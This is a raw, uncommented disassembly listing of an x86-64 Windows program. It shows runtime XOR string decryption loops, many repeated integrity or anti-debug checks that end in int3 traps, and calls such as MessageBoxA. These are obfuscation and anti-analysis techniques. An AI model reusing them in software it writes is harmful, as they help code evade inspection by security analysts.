xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f00f0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400f00c0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xb59037fd
mov dword [rbp + 0xbec], 0x542200e4
mov dword [rbp + 0xbf0], 0xac5a1d71
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r14
mov qword [rsp + 0x20], 0x787f7b97
mov r9d, Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.1400379e0
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x140029d2d
mov byte [rbp + 0xbf4], r14b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.1400109d8
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140029e3a
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029e1a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029e1a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029e3a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140029ee4
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029ec4
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029ec4
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029ee4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
lea rcx, [rbp + 0x9f8]
call fcn.1400283b0
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140010ae8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.140038a68
lea rcx, [rbp + 0x9f8]
call fcn.1400389a4
lea rcx, [rbp + 0x9f8]
call fcn.140010ff8
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140029fdc
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029fbc
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029fbc
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029fdc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002a086
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a066
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a066
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a086
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
or rax, 0xffffffffffffffff
mov byte [rbp - 0x68], al
mov dword [rbp - 0x67], 0x1b6a6453
mov word [rbp - 0x63], 0x98
mov rdi, r14
mov qword [rsp + 0x20], 0x787f7b97
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140037974
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, r15
jb 0x14002a09d
mov byte [rbp - 0x62], r14b
mov dword [rbp - 0x58], 0x6a6441e6
mov word [rbp - 0x54], 0x981b
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
mov qword [rsp + 0x20], 0x787f7b97
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140037974
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, r15
jb 0x14002a0e1
mov byte [rbp - 0x52], r14b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140038cd8
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.1400386b0
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.140038804
lea rcx, [rbp - 0x68]
call fcn.140010b40
mov rcx, rax
call fcn.140010ae8
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.1400384f0
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.140038804
lea rdx, [0x140111b20]
lea rcx, [rbp + 0xa78]
call fcn.1400386b0
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140038804
lea rcx, [rbp + 0xa78]
call fcn.1400389a4
lea rcx, [rbp + 0xa78]
call fcn.140010ff8
lea rcx, [rbp + 0xa58]
call fcn.1400389a4
lea rcx, [rbp + 0xa58]
call fcn.140010ff8
lea rcx, [rbp + 0xa38]
call fcn.1400389a4
lea rcx, [rbp + 0xa38]
call fcn.140010ff8
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002a28c
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a26c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a26c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a28c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002a336
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a316
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a316
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a336
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
lea rcx, [rbp + 0x1208]
call fcn.140038318
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14009e740
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002a3fa
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a3da
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a3da
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a3fa
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
mov r15d, 0x16deb3e7
cmp rax, r12
jne 0x14002a4b9
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a499
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a499
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a4b9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140010a90
lea rcx, [rbp + 0x10e8]
call fcn.140038a40
nop
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002a580
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a560
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a560
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a580
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002a62a
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a60a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a60a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a62a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
lea rcx, [rbp + 0x11e8]
call fcn.140038318
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.140027f30
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002a704
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a6e4
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a6e4
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a704
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov dword [rbp + 0x1e0], 0xbea7b042
mov dword [rbp + 0x1e4], 0xdccec8b4
mov dword [rbp + 0x1e8], 0xafbdbd52
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r14
mov ebx, 0x787f7b97
mov qword [rsp + 0x20], rbx
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.140037908
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14002a732
mov byte [rbp + 0x1ec], r14b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140038ff4
test al, al
je 0x14002acda
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002a832
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a812
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a812
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a832
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f01c0]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x4f5f534b
mov word [rbp + 0x7cc], 0x8447
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.140037830
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14002a860
mov byte [rbp + 0x7ce], r14b
movdqa xmm0, xmmword [0x1400effa0]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400f00b0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400f0220]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400f01f0]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400f0020]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400f0190]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400f0070]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400effb0]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0xb926baaa
mov word [rbp + 0xde4], 0x4086
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r14
mov ebx, 0x86
mov qword [rsp + 0x20], 0x787f7b97
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140037898
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x14002a93e
mov byte [rbp + 0xde6], r14b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, eax
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002aa41
mov rcx, qword gs:[0x35]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x35]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x35]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002aa21
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002aa21
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002aa41
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002aaeb
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002aacb
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002aacb
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002aaeb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
cmp edx, 7
je 0x1400375c9
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002ab9e
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ab7e
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ab7e
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ab9e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f00d0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400f0050]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400eff80]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r14
mov ebx, 0x787f7b97
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.1400377c8
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x14002abd6
mov byte [rbp + 0xc57], r14b
lea rcx, [rbp + 0xc28]
call fcn.1400a1c6c
mov rax, qword gs:[0x42]
mov edi, 0x1d9b9c58
cmp rax, r12
jne 0x14002acdf
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002acba
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002acba
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002acdf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov edi, 0x1d9b9c58
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002ad89
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ad69
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ad69
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ad89
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.140038860
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.1400284f8
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.14003873c
lea rcx, [rbp + 0xab8]
call fcn.1400389a4
lea rcx, [rbp + 0xab8]
call fcn.140010ff8
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002ae7c
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ae5c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ae5c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ae7c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002af26
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002af06
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002af06
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002af26
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.140038a14
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002afed
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002afcd
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002afcd
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002afed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b097
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b077
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b077
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b097
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400a20dc
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b154
mov rcx, qword gs:[0x35]
xor rcx, rsi
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x35]
xor rcx, rsi
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x35]
xor rcx, rsi
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b134
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b134
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b154
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b20d
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b1ed
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b1ed
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b20d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov r15, qword [rbp + 0x10f8]
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b2be
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b29e
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b29e
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b2be
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
test rbx, rbx
je 0x1400372c1
cmp qword [rbp + 0x10f8], r14
je 0x1400372c1
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002b38f
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b36f
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b36f
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b38f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rdi, qword [rbp + 0x10f8]
